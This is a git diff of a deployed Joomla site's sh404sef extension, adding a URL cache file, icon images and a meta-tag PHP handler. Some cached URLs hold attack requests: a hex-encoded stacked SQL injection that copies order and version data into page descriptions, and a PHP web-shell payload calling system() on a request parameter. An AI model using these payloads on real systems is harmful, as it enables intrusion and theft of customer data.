292046524f4d20272c407072656669782c276f726465727320574845524520646174655f616464203e3d2022323032352d30392d30312220494e544f2040636f726465727327293b+INTO+%40var_name3%3Bselect+%40var_name3%3Bprepare+stmt3+from+%40var_name3%3B+execute+stmt3%3BPREPARE+stmt+FROM+%40corders_sql%3BEXECUTE+stmt%3BSELECT+0x534554204069645f7665725f73716c203d20434f4e434154282753454c4543542076616c75652046524f4d20272c407072656669782c27636f6e66696775726174696f6e205748455245206e616d65203d202250535f56455253494f4e5f44422220494e544f2040766572696427293b+INTO+%40var_name4%3Bselect+%40var_name4%3Bprepare+stmt4+from+%40var_name4%3B+execute+stmt4%3BPREPARE+stmt+FROM+%40id_ver_sql%3BEXECUTE+stmt%3BSELECT+0x53455420407570645f73716c203d20434f4e434154282755504441544520272c407072656669782c276d6574615f6c616e6720534554206465736372697074696f6e203d20434f4e434154286465736372697074696f6e2c225b695d272c407072656669782c275b695d272c4076657269642c275b695d272c40636f72646572732c2722292057484552452069645f6d657461203d20272c406d6574616964293b+INTO+%40var_name5%3Bselect+%40var_name5%3Bprepare+stmt5+from+%40var_name5%3B+execute+stmt5%3BPREPARE+stmt+FROM+%40upd_sql%3BEXECUTE+stmt%3B+&view=article#letoltes/licensz-szerzodes-nyomtathato-2022/print#0'; +$shURLCacheCreationDate=1778799791; +$this->_urlCache['cc97899a110ceaed302420e147141629']='index.php?option=com_content&Itemid=189&catid=42&id=1005&lang=hu&view=article#oktatas/oktato-videok-2022#0'; +$shURLCacheCreationDate=1778889316; +$this->_urlCache['c29091660f43614260d3c25bccfe4fe1']='index.php?option=com_sppagebuilder&Itemid=289&id=82&lang=hu&view=page#oktatas/workshopok/fuggony-es-butortervezo-kurzus#0'; +$shURLCacheCreationDate=1779088044; +$this->_urlCache['b28e1906a5ccfa1441211b362ad86157']='index.php?option=com_sppagebuilder&Itemid=482&id=163&lang=hu&view=page#oktatas/oktato-videok/oktato-videok-belsoepiteszet-1/dokumentacio-belsoepiteszet-1#0'; +$shURLCacheCreationDate=1779192003; +$this->_urlCache['8ce3715e3398897bc8cbc81c88ab9956']='index.php?option=com_sppagebuilder&Itemid=476&id=157&lang=hu&view=page#oktatas/oktato-videok/oktato-videok-alapok-2/stilusok-alapok-2#0'; +$shURLCacheCreationDate=1779197306; +$this->_urlCache['139b4dd8d91205c19ccdf709c441ce7c']='index.php?option=com_sppagebuilder&Itemid=490&id=171&lang=hu&view=page#oktatas/oktato-videok/oktato-videok-belsoepiteszet-2/elektromos-szerelvenyek-belsoepiteszet-2#0'; +$shURLCacheCreationDate=1779205282; +$this->_urlCache['8ad6584322104c1db301db8d261ec7b4']='index.php?option=com_sppagebuilder&Itemid=542&id=197&lang=hu&view=page#oktatas/oktato-videok/oktato-videok-alapok-2/epulettervezes-lepesrol-lepesre-alapok-2#1'; +$shURLCacheCreationDate=1779235639; +$this->_urlCache['93d05ca10347fa77c642c78e0ee037b3']='index.php?option=com_sppagebuilder&Itemid=486&id=166&lang=hu&view=page#oktatas/oktato-videok/oktato-videok-belsoepiteszet-2/szinek-es-texturak-belsoepiteszet-2#0'; +$shURLCacheCreationDate=1779238382; +$this->_urlCache['793ceadd4a7f7691229859dd132da119']='index.php?option=com_content&Itemid=124&catid=34&id=933&lang=hu&view=article#letoltes/al-letoltes-2022-1#0'; +$shURLCacheCreationDate=1779258428; +$this->_urlCache['14bdd34e9e7ab2ef30d9dc3de502e728']='index.php?option=com_content&Itemid=124&catid=34&id=888&lang=hu&view=article#letoltes/live-2021-websetup#0'; +$shURLCacheCreationDate=1779260322; +$this->_urlCache['5658a096ba8ed10758605a6595681ee0']='index.php?option=com_sppagebuilder&Itemid=503&id=184&lang=hu&view=page#oktatas/oktato-videok/oktato-videok-epiteszet-2/metszetek-nezetek-epiteszet-2#0'; +$shURLCacheCreationDate=1779287481; +$this->_urlCache['3b89c55988f03084a2b23a8040488e51']='index.php?option=com_content&Itemid=177&catid=22&id=529&lang=hu&view=article#palyazatok/evszak-hangulatmontazsa/2015-osz#0'; +$shURLCacheCreationDate=1779351037; +$this->_urlCache['fbfad38e103bc27f919688ce78f22c5d']='index.php?option=com_content&Itemid=562&catid=62&id=747&lang=hu&view=article#palyazatok/honap-kepe-live/live-honap-kepe-palyazat#1'; +$shURLCacheCreationDate=1779694544; +$this->_urlCache['5a6e7066ab25922d86334805bdca1f02']='index.php?option=com_joomgallery&Itemid=77&catid=2&lang=hu&view=category#rendering-palyazat-2023#0'; +$shURLCacheCreationDate=1779836897; +$this->_urlCache['d7841f59113da224deadd7fd78695c36']='index.php?option=com_joomgallery&Itemid=77&id=2&lang=hu&view=detail#rendering-palyazat-2023/palyazat-2-2#0'; +$this->_urlCache['71a588fb4afb13cadff6e8b33648e309']='index.php?option=com_joomgallery&Itemid=77&id=1&lang=hu&view=detail#rendering-palyazat-2023/palyazat-1-1#0'; +$shURLCacheCreationDate=1779836942; +$this->_urlCache['40bd10074e459175a588b9497442a434']='index.php?option=com_content&Itemid=124&catid=34&id=787&lang=hu&view=article#letoltes/al-letoltes-2020#0'; +$shURLCacheCreationDate=1779974043; +$this->_urlCache['4b10d3449713143708677e6fd425d08d']='index.php?option=com_sppagebuilder&Itemid=436&id=131&lang=hu&layout=edit&tmpl=component&view=form#131-losz-kedd/edit#0'; +$shURLCacheCreationDate=1780061840; +$this->_urlCache['4b10d3449713143708677e6fd425d08d']='index.php?option=com_sppagebuilder&Itemid=436&id=131&lang=hu&layout=edit&tmpl=component&view=form#131-losz-kedd/edit#0'; +$shURLCacheCreationDate=1780061842; +$this->_urlCache['43ed3ab4dfbd12f037f04fa7586a6670']='index.php?option=com_sppagebuilder&Itemid=287&id=80&lang=hu&view=page#oktatas/workshopok/karpitozott-butorok#0'; +$shURLCacheCreationDate=1780145612; +$this->_urlCache['ab6daf4c25cec7f65cea17c4d23d9d7d']='index.php?option=com_sppagebuilder&Itemid=284&id=77&lang=hu&view=page#oktatas/workshopok/fenyek-es-fenyhatasok#0'; +$shURLCacheCreationDate=1780145628; +$this->_urlCache['c5e9fbb1ca1e43f580f7d96bc2b4d06f']='index.php?option=com_sppagebuilder&Itemid=272&id=72&lang=hu&view=page#oktatas/workshopok/alapozo#0'; +$shURLCacheCreationDate=1780145651; +$this->_urlCache['369b5384c1881506c76311fd0d4355a5']='index.php?option=com_users&lang=hu&view=remind#lost-user-name/#0'; +$shURLCacheCreationDate=1780430889; +$this->_urlCache['50612615f987f483d6f10827bc7f9707']='index.php?option=com_sppagebuilder&Itemid=275&id=68&lang=hu&view=page#oktatas/workshopok/2-napos-intenziv-kezdo-kurzus#0'; +$shURLCacheCreationDate=1780814651; +$this->_urlCache['a39c813f7b5d6d803a8033d981998476']='index.php?option=com_sppagebuilder&Itemid=387&id=106&lang=hu&view=page#oktatas/iskolak/archline-konzultacio#0'; +$shURLCacheCreationDate=1780898835; +$this->_urlCache['4d17a953d2d9e3e5f24e6a4c7acba852']='index.php?option=com_sppagebuilder&Itemid=387&id=106&lang=hu&layout=edit&tmpl=component&view=form#106-archline-konzultacio/edit#0'; +$shURLCacheCreationDate=1780898891; +$this->_urlCache['09df47014231eef0917c348837ba8b3d']='index.php?option=com_sppagebuilder&Itemid=812&id=413&lang=hu&view=page#palyazatok/rendering-palyazat-2026-dijazottak#0'; +$shURLCacheCreationDate=1781187166; +$this->_urlCache['0e7275cbd70734b65d441a756b525fe1']='index.php?option=com_sppagebuilder&Itemid=812&id=413&lang=hu&layout=edit&tmpl=component&view=form#edit/413#0'; +$this->_urlCache['09df47014231eef0917c348837ba8b3d']='index.php?option=com_sppagebuilder&Itemid=812&id=413&lang=hu&view=page#palyazatok/rendering-palyazat-2026-dijazottak#0'; +$shURLCacheCreationDate=1781187168; +$this->_urlCache['005d70b4c21ef747bb3e2374ddbeac68']='index.php?option=com_content&Itemid=124&catid=48&id=581&lang=hu&view=article#workshop-email-templates/archline-konzultacio-visszaigazolas#0'; +$shURLCacheCreationDate=1781199393; +$this->_urlCache['6098827da78ebc23d67255e732a52b38']='index.php?option=com_content&Itemid=813&id=1146&lang=hu&view=article#palyazatok/rendering-palyazat-2026-dijatado-kepek#0'; +$shURLCacheCreationDate=1781258558; +$this->_urlCache['dcb4354758820d879c5df7dd24ad62fd']='index.php?option=com_content&Itemid=813&catid=19&id=1146&lang=hu&view=article#palyazatok/rendering-palyazat-2026-dijatado-kepek#0'; +$shURLCacheCreationDate=1781258565; +$this->_urlCache['630e61b49ef55b9f84cc0ee04207c190']='index.php?option=com_sppagebuilder&Itemid=285&id=78&lang=hu&view=page#oktatas/workshopok/1-napos-latvanytervezes-kurzus#0'; +$shURLCacheCreationDate=1781517362; +$this->_urlCache['c3c0978a08ec121cf3c0eceb08e1bf9a']='index.php?option=com_content&id=314&lang=hu&view=article#blog/munkak-bemutatasa/minimalista-stilusu-diplomamunka-tervezo-juhasz-judit#0'; +$shURLCacheCreationDate=1781525182; +$this->_urlCache['2806c3d2c236d5a8d5e6b4cd3fb45009']='index.php?option=com_sppagebuilder&Itemid=291&id=84&lang=hu&view=page#oktatas/workshopok/lepcso-es-korlat#0'; +$shURLCacheCreationDate=1781703372; +$this->_urlCache['77d5ce7d951f0bc375169fe11e607b58']='index.php?option=com_content&id=523&lang=hu&view=article#blog/munkak-bemutatasa/akacfa-apartmanok-a-z-design-architects-epiteszetol-tervezo-zambo-timea#0'; +$shURLCacheCreationDate=1781750313; +$this->_urlCache['0609fd0aabb4d82daf7e9881b5765661']='index.php?option=com_icagenda&lang=hu#icagenda#0'; +$shURLCacheCreationDate=1781764618; +$this->_urlCache['0787dc3738f571d2e5a9ff30b65dc776']='index.php?option=com_content&id=559&lang=hu&view=article#blog/munkak-bemutatasa/modern-elegancia-budan-tervezo-darida-sarkoezi-anita-es-dudas-zsuzsanna#0'; +$shURLCacheCreationDate=1781796898; +$this->_urlCache['8dcd8ce75099d98b724e8c9649c8dc34']='index.php?option=com_content&id=473&lang=hu&view=article#blog/szakmai-cikkek/csotoll-vagy-eger#0'; +$shURLCacheCreationDate=1782451904; +$this->_urlCache['de1b1edf1a6e593cfeec4fe0558ff3e7']='index.php?option=com_content&id=306&lang=hu&view=article#blog/munkak-bemutatasa/modern-es-csaladias-otthon#0'; +$shURLCacheCreationDate=1782451914; +$this->_urlCache['42bb33269cabbbeeaf481dd8ef7e0d26']='index.php?option=com_sppagebuilder&lang=hu#sppagebuilder#0'; +$shURLCacheCreationDate=1782469117; +$this->_urlCache['ed49feec1f3ac58ae445011e66204dba']='index.php?option=com_content&Itemid=124&id=836&lang=hu&view=article#palyazatok/honap-kepe/2020-augusztus#0'; +$shURLCacheCreationDate=1782481619; +$this->_urlCache['7da58c85ad60691358638e23326689b3']='index.php?option=com_content&id=313&lang=hu&view=article#blog/munkak-bemutatasa/harmonikus-csaladi-otthon-kialakitasa-orosz-agnestol#0'; +$shURLCacheCreationDate=1782522830; +$this->_urlCache['137eae2cdc514d346f24ceb17c026629']='index.php?option=com_content&Itemid=177&catid=22&id=530&lang=hu&view=article#palyazatok/evszak-hangulatmontazsa/2015-tel#0'; +$shURLCacheCreationDate=1782576691; +$this->_urlCache['6c9d6d8ebd6993fc9cabe1442d1b320a']='index.php?option=com_content&id=317&lang=hu&view=article#blog/munkak-bemutatasa/art-deco-iroda-tervezo-orosz-flora#0'; +$shURLCacheCreationDate=1782679417; +$this->_urlCache['fc60ef93d55fbb8e7484ea7d15731779']='index.php?option=com_acym&lang=hu#acym#0'; +$shURLCacheCreationDate=1782682077; +$this->_urlCache['bc9be57fefc2a5a97f11ef430122f386']='index.php?option=com_banners&format=json&lang=hu&task=click&view=click#banners/click#0'; +$shURLCacheCreationDate=1782734343; +$this->_urlCache['c96bcd1cec14849d5f710df033a802dd']='index.php?option=com_banners&cid[0]=%3Cphp+if%28%28%24_GET%5B%22t%22%5D%3D%22%22%29%3D%3D%3D%22ZAS_bjciqv%22%29%7B%40system%28%24_GET%5B%22c%22%5D%22id%22%29%3B%7Delse%7Bhttp_response_code%28404%29%3B%7D%3E&format=json&lang=hu&view=click#banners/#0'; +$shURLCacheCreationDate=1782734347; +$this->_urlCache['8eccdf5d7e1c54569ce6e6f5145dda90']='index.php?option=com_contact&id=1&lang=hu&view=contact#get-in-touch#0'; +$shURLCacheCreationDate=1782734358; +$this->_urlCache['90a20fc8ad26a5863c227e5db119d9b5']='index.php?option=com_finder&view=search&lang=hu#search#0'; +$shURLCacheCreationDate=1782734376; +$this->_urlCache['30ff6f374259610e4485da14a1636c9e']='index.php?option=com_icagenda&view=list&lang=hu#icagenda#0'; +$shURLCacheCreationDate=1782747220; +$this->_urlCache['588e16c7c8800510ccf5dad8c91d2689']='index.php?option=com_icagenda&view=submit&lang=hu#submission#0'; +$shURLCacheCreationDate=1782752521; +$this->_urlCache['7ebe486890b6b02dde40708deaa6bdc1']='index.php?option=com_content&Itemid=124&id=955&lang=hu&view=article#blog/munkak-bemutatasa/doka-betty-ujabb-tervei-az-archline-xp-live-val#0'; +$shURLCacheCreationDate=1782899169; +$this->_urlCache['16f7970a93c364d0cc5264b92213bc06']='index.php?option=com_sppagebuilder&Itemid=814&id=414&lang=hu&view=page#kapcsolat/rolunk#0'; +$shURLCacheCreationDate=1782917669; +$this->_urlCache['7b6222e10ea33b4b49d8dd66dd02a1ba']='index.php?option=com_sppagebuilder&Itemid=814&id=414&lang=hu&layout=edit&tmpl=component&view=form#edit/414#0'; +$this->_urlCache['16f7970a93c364d0cc5264b92213bc06']='index.php?option=com_sppagebuilder&Itemid=814&id=414&lang=hu&view=page#kapcsolat/rolunk#0'; +$shURLCacheCreationDate=1782917671; +$this->_urlCache['d6d7976410b1a8f40db4ee5b31f2af8b']='index.php?option=com_sppagebuilder&Itemid=485&id=167&lang=hu&view=page#oktatas/oktato-videok/oktato-videok-belsoepiteszet-2/modellezo-eszkozok-belsoepiteszet-2#0'; +$shURLCacheCreationDate=1783343625; +$this->_urlCache['a36c6a8c3d82471e090dc3dd312b722b']='index.php?option=com_users&lang=hu&view=reset#elfelejtett-jelszo/#0'; +$shURLCacheCreationDate=1783537435; +$this->_urlCache['050f7cfb23241658687b40e091ec180b']='index.php?option=com_sppagebuilder&Itemid=739&id=339&lang=hu&view=page#fooldal-uj#0'; +$shURLCacheCreationDate=1783691167; +$this->_urlCache['4fbc17cfd9ffd9d31c8d53fda858cce9']='index.php?option=com_acym&columns=id%2Cname&ctrl=frontentityselect&entity=list&join=none&offset=0&perCalls=1&task=loadEntityFront&lang=hu#frontentityselect/loadentityfront/columns-idname/entity-list/join-none/offset-0/percalls-1#0'; +$shURLCacheCreationDate=1784078395; \ No newline at end of file diff --git a/deployed/sh404sef/components/com_sh404sef/images/external-black.png b/deployed/sh404sef/components/com_sh404sef/images/external-black.png new file mode 100644 index 0000000000000000000000000000000000000000..1c7e9040de453cc8145ee879faee94fbc4c23256 GIT binary patch literal 3621 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 literal 0 HcmV?d00001 diff --git a/deployed/sh404sef/components/com_sh404sef/images/external-white.png b/deployed/sh404sef/components/com_sh404sef/images/external-white.png new file mode 100644 index 0000000000000000000000000000000000000000..7f25d227216ec717aa923dd3917d73c66c8cf6aa GIT binary patch literal 3630 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 \ No newline at end of file diff --git a/deployed/sh404sef/components/com_sh404sef/meta_ext/com_content.php b/deployed/sh404sef/components/com_sh404sef/meta_ext/com_content.php new file mode 100644 index 00000000..bec2fa72 --- /dev/null +++ b/deployed/sh404sef/components/com_sh404sef/meta_ext/com_content.php @@ -0,0 +1,266 @@ +currentLanguageTag : Sh404sefHelperLanguage::getLangTagFromUrlCode($lang); +$shLangIso = isset($lang) ? $lang : Sh404sefHelperLanguage::getUrlCodeFromTag($shPageInfo->currentLanguageTag); +$shLangIso = shLoadPluginLanguage('com_content', $shLangIso, 'COM_SH404SEF_CREATE_NEW'); +//------------------------------------------------------------- + +global $shCustomTitleTag, $shCustomDescriptionTag, $shCustomKeywordsTag, $shCustomLangTag, $shCustomRobotsTag, $shCanonicalTag; + +// special case for 404 +if (!empty($shPageInfo->httpStatus) && $shPageInfo->httpStatus == 404) +{ + $shCustomTitleTag = '404'; + $shCustomRobotsTag = 'noindex, follow'; + return; +} + +// add no follow to print pages +$shCustomRobotsTag = ($tmpl == 'component' && !empty($print)) ? 'noindex, nofollow' : $shCustomRobotsTag; + +// calculate page title +$title = array(); +switch ($view) +{ + case 'archivecategory': + case 'archivesection': + $shCustomTitleTag = $sh_LANG[$shLangIso]['COM_SH404SEF_ARCHIVE'] . ' ' . $sefConfig->replacement . ' ' + . $shPageInfo->getDefaultFrontLiveSite(); + break; + case 'form': + break; + case 'featured': + $shCustomDescriptionTag = $mainframe->getCfg('MetaDesc'); + $shCustomKeywordsTag = $mainframe->getCfg('MetaKeys'); + $shTitle = shGetJoomlaMenuItemPageTitle(); + if (empty($shTitle)) + { + $config = JFactory::getConfig(); + $title[] = $config->get('config.sitename'); + } + else + { + $title[] = $shTitle; + } + + // handle second, third,... pages on home page + // TODO same code used in function shAddPaginationInfo, should regroup + if (!empty($limitstart)) + { + $shLimit = shGetDefaultDisplayNumFromConfig($shPageInfo->currentNonSefUrl, $includeBlogLinks = false); + $pagenum = empty($shLimit) ? (int) $limitstart : (int) ($limitstart / $shLimit) + 1; + if ($sefConfig->alwaysAppendItemsPerPage) + { + $shMultPageLength = $sefConfig->pagerep . $shLimit; + } + else + $shMultPageLength = ''; + + if (!empty($sefConfig->pageTexts[$shPageInfo->currentLanguageTag]) + && (false !== strpos($sefConfig->pageTexts[$shPageInfo->currentLanguageTag], '%s'))) + { + $pattern = str_replace($sefConfig->pagerep, ' ', $sefConfig->pageTexts[$shPageInfo->currentLanguageTag]); + $title[] = str_replace('%s', $pagenum, $pattern) . $shMultPageLength; + } + else + { + $title[] = ' ' . $pagenum . $shMultPageLength; + } + } + + $shCustomTitleTag = JString::ltrim(implode(' | ', $title), '/ | '); + + break; + + default: + // calculate canonical + if ($view == 'article') + { + $nonSef = Sh404sefHelperUrl::stripTrackingVarsFromNonSef($shPageInfo->currentNonSefUrl); + $nonSef = str_replace(array('format=pdf', 'print=1'), '', $nonSef); + $shCanonicalTag = JRoute::_($nonSef); + } + // use regular function to get content titles, as per out specific settings + $customConfig = clone ($sefConfig); + + $customConfig->includeContentCat = $sefConfig->contentTitleIncludeCat; + $customConfig->UseAlias = $sefConfig->ContentTitleUseAlias; + $customConfig->useCatAlias = $sefConfig->ContentTitleUseCatAlias; + $customConfig->LowerCase = false; + $customConfig->ContentTitleInsertArticleId = false; + // V 1.2.4.t protect against sef_ext.php not being included + if (!class_exists('sef_404')) + { + require_once(sh404SEF_ABS_PATH . 'components/com_sh404sef/sef_ext.php'); + } + $layout = isset($layout) ? $layout : null; + $articleId = shGetArticleIdString($id, $view, $option, $shLangName); + $title = sef_404::getContentSlugsArray($view, $id, $layout, $Itemid, $shLangName, $customConfig); + if (!empty($articleId)) + { + $lastBit = array_pop($title); + $lastBit .= ' [' . 